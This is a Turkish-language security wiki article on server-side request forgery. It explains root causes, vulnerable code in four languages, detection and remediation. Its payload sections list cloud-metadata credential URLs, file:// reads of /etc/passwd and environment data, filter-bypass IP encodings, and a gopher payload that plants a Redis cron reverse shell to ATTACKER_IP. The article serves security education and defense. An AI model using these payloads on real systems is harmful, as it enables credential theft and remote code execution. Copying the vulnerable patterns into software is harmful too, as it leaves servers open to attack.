AltaySec Wiki Server-Side Request Forgery (SSRF)   ·   AltaySec Araştırmalar

Server-Side Request Forgery (SSRF)

root@altaysec:~# whoami
> Yazar: Nurettin Ünal

Server-Side Request Forgery (SSRF), uygulamanın sunucu tarafında kurduğu güven ilişkisini, kullanıcı kontrollü bir girdi üzerinden kötüye kullandıran, modern web ve bulut mimarilerindeki en kritik zafiyet sınıflarından biridir. Temel problem yalnızca "sunucunun dışarıya veya içeriye istek atması" değildir; asıl mesele, sunucunun erişim yetkisinin (Authentication Context & Network Position) istemcinin erişim yetkisinden çok daha geniş olması ve bu ayrıcalığın dolaylı olarak saldırgan kontrollü bir payload ile gasp edilmesidir.

Modern mikroservis ve bulut (Cloud-Native) mimarilerinde istemci ile sunucu arasında yalnızca tek bir uygulama katmanı bulunmaz. Arka planda iç API'ler, servis keşif mekanizmaları (Consul, Eureka), service mesh bileşenleri (Istio, Envoy), kimlik sağlayıcıları, cache katmanları (Redis, Memcached), Kubernetes kubelet API'leri, bulut metadata servisleri (IMDS) ve CI/CD ajanları yer alır. Son kullanıcı bunlara doğrudan erişemez; ancak dışa açık uygulama sunucusu "Zero Trust" ilkeleri doğru uygulanmamışsa bu bileşenlere engelsiz erişebilir. SSRF'nin stratejik değeri tam burada, Red Team operasyonlarında nihai amaç olmaktan ziyade, zincirin ilk ve en güçlü pivot noktası olmasından kaynaklanır.

Protokol ve RFC düzeyinde (Örn: RFC 3986 URI Generic Syntax), bir URL'in nasıl ayrıştırılacağı (parsing) ile nasıl işleneceği (fetching) arasındaki uyumsuzluklar SSRF'nin can damarıdır. Saldırgan, uygulamayı basit bir "proxy" gibi değil, iç ağda (VPC/Subnet) tam yetkili bir "insider" gibi kullanarak hedef altyapıyı kompromize eder.

How It Works (Teknik Analiz)

SSRF'nin kök nedeni (Root Cause), uygulamanın kullanıcıdan aldığı bir URL, host, callback, endpoint veya resource locator tanımına (URI/URL) körü körüne güvenerek arka planda bir ağ soketi (socket) açmasıdır. Bu işlem genellikle HTTP/HTTPS protokolleri üzerinden başlasa da, alt seviyede kullanılan kütüphanenin (örn: cURL, libwww, urllib) esnekliğine bağlı olarak file://, dict://, gopher://, tftp:// gibi farklı şemalara (schemes) doğru genişleyebilir.

Root Cause Analysis (Kök Neden Analizi):

  1. Parse-Time vs. Connect-Time Mismatch: Zafiyetin en yaygın nedenlerinden biri ayrıştırıcı (Parser) farklılıklarıdır. Güvenlik kontrolünü yapan fonksiyon (örneğin PHP'deki parse_url()) ile isteği gerçekleştiren fonksiyon (örneğin curl_exec()) aynı URL dizgisini farklı yorumlar. Saldırgan, parser'ı atlatan ancak HTTP istemcisi tarafından tehlikeli bir şekilde çözümlenen (Örn: Unicode normalizasyonu veya credential formatı @ istismarı) payload'lar üretir.
  2. DNS Resolution Time-of-Check to Time-of-Use (TOCTOU): Uygulama, kullanıcının girdiği alan adının IP adresini kontrol eder (Time-of-Check), IP'yi güvenli bulur. Ancak gerçek HTTP isteği atıldığında (Time-of-Use) işletim sistemi veya HTTP kütüphanesi DNS'i tekrar çözer. Saldırgan, DNS Rebinding teknikleriyle TTL süresi çok düşük bir kayıt kullanarak IP'yi kontrol sonrası zararlı bir iç ağ IP'si (örn: 127.0.0.1) ile değiştirir.
  3. URL Yönlendirmelerine (Redirects) Körü Körüne Güven: Başlangıç URL'i tamamen zararsız ve dış bir hedefe (http://attacker.com) ait olabilir. Sunucu bu adrese istek attığında saldırgan sunucusu 301/302 Redirect ile Location: http://169.254.169.254/latest/meta-data/ yanıtı döner. HTTP istemcisi yönlendirmeyi otomatik takip ederse, güvenlik kontrolleri atlatılmış olur.

Vulnerable Code Patterns

Aşağıda farklı dil ve framework'lerde SSRF'ye yol açan güvensiz kod kalıpları (Anti-Patterns) ve bellek/AST düzeyindeki yorumlanma hataları verilmiştir.

PHP - file_get_contents ve curl_exec Zafiyetleri:

<?php
// ÖRNEK 1: file_get_contents ile Doğrudan SSRF
// PHP streams wrapper'ları kullanıma açıktır. 'expect://', 'php://filter' veya 'file://' şemaları tetiklenebilir.
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;

// ÖRNEK 2: Yetersiz cURL Yapılandırması
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['webhook']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// KRİTİK HATA: Yönlendirmelerin kontrolsüz takibi
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 
$response = curl_exec($ch);
curl_close($ch);
echo $response;
?>

Python - requests ve urllib Zafiyetleri:

from flask import Flask, request
import requests
import urllib.request

app = Flask(__name__)

@app.route('/fetch')
def fetch_url():
    target = request.args.get("url")
    # requests.get varsayılan olarak yönlendirmeleri (redirects) takip eder!
    # Ayrıca, target içerisinde internal IP'lere karşı bir allowlist/denylist yoktur.
    r = requests.get(target, timeout=5)
    return r.text

@app.route('/download')
def download_file():
    url = request.args.get("url")
    # urllib.request.urlopen 'file://' şemasını destekler. LFI to SSRF dönüşümü mümkündür.
    response = urllib.request.urlopen(url)
    return response.read()

Node.js - axios ve http Zafiyetleri (DOM/Event Loop Bağlamı):

const express = require('express');
const axios = require('axios');
const app = express();

app.get('/preview', async (req, res) => {
    const targetUrl = req.query.url;
    try {
        // Axios, Node.js ortamında http modülünü kullanır. 
        // DNS rebinding ve SSRF redirect saldırılarına tam açıktır.
        const response = await axios.get(targetUrl);
        res.send(response.data);
    } catch (error) {
        res.status(500).send("Error fetching URL");
    }
});

Java - HttpURLConnection Zafiyetleri:

import java.net.URL;
import java.net.HttpURLConnection;
import java.io.BufferedReader;
import java.io.InputStreamReader;

// Java URL sınıfı, protokol handler'larını dinamik yönetir.
// Hatalı URL parse operasyonları (Örn: java.net.URI ile java.net.URL arasındaki RFC uyumsuzlukları) atlatmalara yol açar.
String target = request.getParameter("url");
URL url = new URL(target);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// Yönlendirmeleri takip etmesi SSRF'yi tetikler
conn.setInstanceFollowRedirects(true); 

BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String inputLine;
StringBuilder content = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
    content.append(inputLine);
}
in.close();
out.print(content.toString());

Detection & Enumeration (Keşif ve Analiz)

SSRF tespiti, uygulamanın hangi parametrelerde, header'larda veya iş mantıklarında arka planda dış/iç ağ bağlantısı tetiklediğini bulma sanatıdır. Yalnızca görünür URL parametreleri değil, Host, X-Forwarded-For, Referer başlıkları, XML entiteleri (XXE to SSRF), SVG görselleri ve PDF render motorları hedef alınmalıdır.

Keşif Metodolojisi ve Gözlem Kanalları:

  1. Response-Based (In-Band) Keşif: Hedef sunucunun verdiği yanıt, doğrudan HTTP yanıt gövdesinde (Response Body) yer alır.
  2. Error-Based Keşif: İstek başarısız olduğunda dönen hata mesajları analiz edilir. Connection Refused, No route to host, Timeout hataları, arka planda bir soket bağlantısı kurulmaya çalışıldığını kanıtlar.
  3. Time-Based Keşif: Sunucunun bir hedefe erişme süresi ölçülür. Kapalı bir porta atılan istek anında RST dönerken, firewall tarafından drop edilen bir port Timeout süresi (örn. 10 saniye) kadar bekletir. Bu zaman farkı, kör (Blind) senaryolarda iç ağ port taraması (Port Scanning) yapmayı sağlar.
  4. Out-of-Band (OOB) Keşif: Uygulama kullanıcıya hiçbir veri yansıtmadığında (Blind SSRF), saldırgan kontrolündeki bir DNS veya HTTP sunucusuna (Burp Collaborator, interactsh) istek attırarak zafiyet doğrulanır.

Attack Vectors & Exploitation (İstismar Vektörleri)

SSRF zafiyetinin sömürü adımları, sistemin mimarisine ve kullanılan protokollerin sınırlarına göre şekillenir. Aşağıda SSRF'nin sahada karşılaşılan tüm hayati varyasyonları listelenmiştir.

Basic / In-Band SSRF

Uygulamanın alınan içeriği doğrudan HTTP yanıtına yansıttığı durumdur. Saldırgan iç ağda çalışan yönetim panellerine (http://192.168.1.10/admin) veya yerel portlara (http://127.0.0.1:8080) istek atıp yanıtı okuyabilir.

Blind / Out-of-Band SSRF

Yanıt istemciye dönmez. Sömürü genellikle OOB platformları ile DNS/HTTP etkileşiminin yakalanmasına dayanır. İstismarı, diğer zafiyetlerle (örneğin bir webhook üzerinden SQLi tetikleme veya OOB üzerinden RCE kanıtı) zincirlenerek (chain) değer kazanır.

Semi-Blind / Time-Based SSRF

Cevap gövdesi dönmez ancak isteğin ne kadar sürdüğü tespit edilebilir. Saldırgan, dahili ağın topolojisini çıkarmak için bu tekniği kullanır. Açık bir porta yapılan istek hızlı dönerken, filtreli bir IP'ye yapılan istek HTTP timeout süresini doldurur.

SSRF via Open Redirect

SSRF filtrelerini atlatmak için kullanılan en güçlü zincirleme saldırısıdır. Geliştirici sadece example.com alan adına izin verecek bir filtre (allowlist) yazar. Saldırgan payload'u şu şekilde kurgular: http://example.com/redirect?url=http://169.254.169.254/. SSRF filtresi ilk URL'yi güvenli bulur, HTTP kütüphanesi isteği yapar, ancak dönen 30x yönlendirmesini otomatik takip ederek bulut metadata servisine erişir.

DNS Rebinding Attack

Güvenlik kontrolü ile HTTP isteği arasındaki zaman farkını (TOCTOU) istismar eder.

  1. Saldırgan, bir alan adı ayarlar (rebind.attacker.com).
  2. Alan adının DNS A kaydı ilk sorguda zararsız bir IP'yi (8.8.8.8) döner ve TTL (Time to Live) süresi 0 (veya çok düşük) olarak ayarlıdır.
  3. Uygulama alan adını kontrol eder ve güvenli IP sınıfında bulur.
  4. HTTP kütüphanesi isteği başlatırken, DNS önbelleği silindiği için alan adını yeniden sorgular.
  5. Saldırganın DNS sunucusu bu kez zararlı bir iç ağ IP'sini (127.0.0.1) döner.
  6. İstek iç ağa gider.

Protocol Smuggling & Gopher (gopher://)

Eğer HTTP kütüphanesi (Özellikle cURL) gopher:// protokolünü destekliyorsa, SSRF doğrudan bir Remote Code Execution (RCE) zafiyetine evrilebilir. Gopher protokolü, TCP üzerinden arbitrary (gelişigüzel) byte'lar göndermeyi sağlar. Saldırgan; Redis, Memcached, MySQL veya SMTP gibi dahili servislere uygun TCP paketlerini gopher:// üzerinden inşa edip RCE, yetki yükseltme veya veri manipülasyonu gerçekleştirebilir.

Cloud Metadata (IMDS) Exploitation

AWS, Azure, GCP ve DigitalOcean gibi bulut sağlayıcıları, sanal makinelerin meta verilerine ve geçici IAM token'larına erişim için "Link-local" (169.254.169.254) adresinde bir metadata servisi sunar. Eğer bir uygulama bu IP'ye SSRF üzerinden istek atabilirse, sunucunun tüm bulut yetkilerini (IAM Roles) ele geçiren "Cloud Pivot" senaryosu başlar.

Second-Order SSRF (İkinci Derece SSRF)

Kullanıcıdan alınan URL girdisi hemen kullanılmaz; veritabanına, bir mesaj kuyruğuna (RabbitMQ, Kafka) veya loglara kaydedilir. Daha sonra arka planda çalışan bir cron job, worker, PDF oluşturucu (Puppeteer) veya e-posta modülü bu URL'yi işler ve isteği atar. Kaynak ile hedef (sink) arasında asenkron bir ilişki olduğu için tespiti son derece zordur.

Local File Inclusion (file://) via SSRF

Uygulamanın kullandığı arka plan aracı file:// şemasına izin veriyorsa, SSRF anında bir sunucu tarafı dosya okuma (LFI) zafiyetine dönüşür. Özel yapılandırma dosyaları, /etc/passwd, ssh anahtarları veya uygulama kaynak kodları bu vektör üzerinden okunabilir.

Payloads & Advanced Commands

Bu bölüm, Red Team uzmanlarının sahada doğrudan kullanabileceği komut setlerini ve sömürü kodlarını (Payload) içerir. Her senaryo için spesifik yapılar oluşturulmuştur.

Internal Network Scanning Payloads

Hedef sunucunun ağındaki açık portları ve canlı sistemleri belirlemek için:

http://127.0.0.1:80
http://127.0.0.1:22
http://127.0.0.1:6379    # Redis
http://127.0.0.1:11211   # Memcached
http://127.0.0.1:2375    # Docker Daemon (RCE riski)
http://127.0.0.1:8080    # Admin Panel / Tomcat
http://[::]:80/          # IPv6 Localhost
http://0.0.0.0:80/

Cloud Metadata Payloads

Bulut mimarilerinde Instance kimliklerini, yapılandırmaları ve IAM Token'larını çekmek için:

AWS (Amazon Web Services) - IMDSv1:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data/

Google Cloud Platform (GCP): (GCP, SSRF'yi zorlaştırmak için Metadata-Flavor: Google başlığını zorunlu kılar, ancak uygulamanın header ekleme zafiyeti varsa (CRLF vb.) bypass edilebilir.)

http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Microsoft Azure: (Azure da Metadata: true başlığını gerektirir.)

http://169.254.169.254/metadata/instance?api-version=2017-08-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

DigitalOcean:

http://169.254.169.254/metadata/v1.json

Protocol Exploitation (File, Dict, TFTP)

Alternatif protokoller kullanılarak sistem üzerinde farklı etkiler yaratılabilir:

# LFI via SSRF
file:///etc/passwd
file:///C:/Windows/win.ini
file:///proc/self/cmdline
file:///proc/self/environ

# Redis/Memcached Enum
dict://127.0.0.1:6379/info
dict://127.0.0.1:11211/stat

# LDAP Enumeration
ldap://localhost:389/%0astats%0aquit

Remote Code Execution (RCE) via SSRF (Redis & Gopher)

Saldırgan, Redis sunucusuna CR/LF (%0d%0a) karakterleri içeren bir payload göndererek arka arkaya komutlar çalıştırıp, cron job veya SSH key ekleyebilir.

Gopher URL yapısı: gopher://<IP>:<PORT>/_<PAYLOAD>

# Redis'e flushall ve cron yazma işleminin URL-Encoded Gopher payload örneği:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

SVG & PDF Rendering SSRF Payloads

Modern web uygulamalarındaki HTML-to-PDF kütüphaneleri (wkhtmltopdf, Puppeteer) veya SVG render motorları (CairoSVG, ImageMagick) SSRF vektörü barındırabilir.

SVG SSRF (OOB Tespiti İçin):

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <image height="200" width="200" xlink:href="http://attacker.com/log" />
</svg>

PDF / XSS to SSRF (Iframe İçinde İç IP Çağırma):

<iframe src="http://169.254.169.254/latest/meta-data/" width="500" height="500"></iframe>
<link rel=attachment href="file:///etc/passwd">

Bypass & Obfuscation (Atlatma Teknikleri)

Geliştiricilerin URL ve IP bazlı karalistelerini (Blacklist) ve WAF, IDS/IPS sistemlerini atlatmak için kullanılan üst düzey normalizasyon teknikleridir.

IP Encoding & Obfuscation

Birçok uygulama sadece 127.0.0.1 veya 169.254.169.254 string'ini engeller. Hedef IP, C standard kütüphane fonksiyonları tarafından farklı formatlarda yorumlanabileceği için atlatılabilir.

# Localhost (127.0.0.1) Varyasyonları:
http://2130706433/           # Decimal format
http://017700000001/         # Octal format
http://0x7f000001/           # Hexadecimal format
http://0x7f.0.0.1/           # Mixed Hex/Dotted format
http://127.1/                # Dotted Dropped Octets (OOS IP resolution)
http://127.0.0.1.nip.io/     # DNS çözümlü (nip.io)
http://localtest.me/         # Localhost'a çözen public DNS kaydı

# Cloud Metadata (169.254.169.254) Varyasyonları:
http://2852039166/           # Decimal
http://0251.0376.0251.0376/  # Octal
http://0xA9FEA9FE/           # Hexadecimal

URL Parsing Discrepancies (Parser Inconsistencies)

Farklı parser'ların (URL doğrulayıcı vs HTTP kütüphanesi) URL'yi parçalarken gösterdiği uyuşmazlıklardan (Discrepancy) faydalanılır. Saldırgan payload'u: http://foo@127.0.0.1 @google.com/

Unicode & Punycode Bypasses

Host adları filtrelerini aşmak için karakterlerin Unicode eşdeğerleri kullanılır. Kütüphane URL'yi ASCII'ye çevirirken zafiyet doğar.

http://①②⑦.⓪.⓪.①/       # Enclosed Alphanumerics (Punycode dönüşümü sonrası 127.0.0.1 olur)
http://localhost。/        # Ideographic Full Stop (U+3002) - . olarak çözümlenir.

Open Redirect Bypasses

Uygulama allowlist kontrolü yapıyorsa, kendi sistemindeki veya whitelist içinde bulunan başka bir domaine ait Open Redirect kullanılarak filtre kırılır.

http://trusted-domain.com/login?redirect=http://169.254.169.254/
http://trusted-domain.com.attacker.com/ (Eğer Regex sadece startsWith kontrolü yapıyorsa)

Remediation & Prevention (Önleme ve Savunma)

SSRF saldırılarından korunmak, yalnızca girdi doğrulama (Input Validation) ile başarılamaz. Katmanlı bir ağ güvenliği (Defense in Depth) şarttır.

  1. Strict URL Allowlisting (Kesin İzin Listeleri): Kara listeler (Blacklists) her zaman atlatılabilir. Sadece uygulamanın iletişim kurması gereken bilinen, güvenilir dış/iç sistemlerin alan adlarını içeren katı bir izin listesi (Allowlist) kullanılmalıdır.
  2. Network-Level Egress Filtering (Dışa Çıkış Filtrelemesi): Uygulama sunucusu, güvenlik duvarı veya VPC konfigürasyonlarında varsayılan olarak "Deny All Outbound" politikasına sahip olmalıdır. Sunucunun yalnızca ihtiyaç duyduğu belirli IP/Port'lara erişimine izin verilmeli, geri kalan tüm hedefler ağ seviyesinde kesilmelidir.
  3. Disable URL Scheme Features (Protokol Şemalarını Devre Dışı Bırakma): Kullanılan HTTP istemci kütüphanelerinde (cURL, urllib, HttpClient) file://, dict://, gopher:// gibi gereksiz şemalar kesinlikle kapatılmalı, yalnızca http:// ve https:// protokollerine izin verilmelidir.
  4. Disable Automatic Redirect Following (Yönlendirmeleri Kapatma): Uygulama, gelen HTTP yönlendirmelerini otomatik olarak takip etmemelidir. Eğer iş mantığı gereği takip etmesi zorunluysa, dönen her "Location" başlığındaki hedef URL, aynı SSRF filtrelerinden/allowlist kontrollerinden tekrar tekrar geçirilmelidir.
  5. DNS & Resolution Validations: Time-of-Check to Time-of-Use (TOCTOU) zafiyetlerini önlemek için uygulama URL'nin alan adını çözümleyip IP adresini almalı, IP'nin dahili ağ (Private IP ranges - RFC 1918) olup olmadığını doğrulamalı ve HTTP isteğini Alan Adı üzerinden değil, doğruladığı ve sabitlediği (Pinning) bu IP adresi üzerinden yapmalıdır.
  6. IMDSv2 Enforcement (Bulut Ortamları İçin): AWS ortamlarında Metadata zafiyetlerini önlemek için, IMDSv1 tamamen kapatılmalı ve kimlik doğrulama başlığı (Token) ve PUT isteği zorunluluğu getiren IMDSv2 kullanımına geçilmelidir.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Burp Suite Collaborator OOB SSRF tespiti için Payload oluşturur ve tetiklenen istekleri DNS/HTTP loglarında yakalar. İstemci arayüzü üzerinden Payload kopyalanır
Gopherus SSRF tespit edildiğinde Redis, Memcached, MySQL vb. için gopher:// RCE payload'ları üretir. python gopherus.py --exploit redis
interactsh Açık kaynaklı OOB tespit sunucusu. DNS, HTTP, SMTP ve LDAP etkileşimlerini kaydeder. interactsh-client
SSRFmap Otomatize SSRF sömürü aracı. Ağ taraması, port keşfi ve yaygın zafiyetleri istismar etmeyi sağlar. python ssrfmap.py -r request.txt -p url -m portscan
FFuF SSRF vektörlerini fuzzing yoluyla keşfetmek, bypass karakterlerini ve yönlendirme zincirlerini test etmek için kullanılır. ffuf -w payloads.txt -u http://target.com/?url=FUZZ
DNSRebind DNS Rebinding saldırılarını test etmek ve TOCTOU açıklarını yakalamak için DNS sunucusu simüle eder. python dnsrebind.py --domain rebind.test.com

Yazar: Nurettin Ünal · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv